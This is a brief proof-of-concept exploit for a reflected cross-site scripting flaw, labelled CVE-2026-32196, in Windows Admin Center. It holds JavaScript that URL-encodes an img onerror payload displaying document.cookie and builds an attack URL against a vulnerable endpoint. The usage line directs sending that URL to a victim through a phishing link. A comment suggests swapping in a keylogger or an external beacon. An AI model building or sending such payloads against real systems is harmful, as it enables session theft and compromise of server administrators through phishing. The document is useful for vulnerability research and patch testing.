Proof of Concept (PoC) for CVE-2026-32196
Description: This payload demonstrates how an attacker might inject a script via a vulnerable parameter in Windows Admin Center.
Usage: Encode the payload and send it to a victim via a phishing link.
-->
<script>
// Step 1: Define the malicious JavaScript payload
// In a real attack, this could be a keylogger or a beacon to an external server
var payload = "<img src=x onerror=alert('CVE-2026-32196 XSS Executed - ' + document.cookie)>";
// Step 2: Simulate the vulnerable endpoint parameter injection
// Example: https://<target-wac-host>/manage/page?setting=<payload>
// Note: URL encoding is required for the payload to be transmitted correctly
var encodedPayload = encodeURIComponent(payload);
var attackUrl = "https://target-windows-admin-center/vulnerable_endpoint?config=" + encodedPayload;
// Step 3: Output the constructed attack URL for demonstration
console.log("[+] Generated Attack URL:");
console.log(attackUrl);
// The vulnerability triggers when the victim loads the URL and the application reflects 'payload' without sanitization.
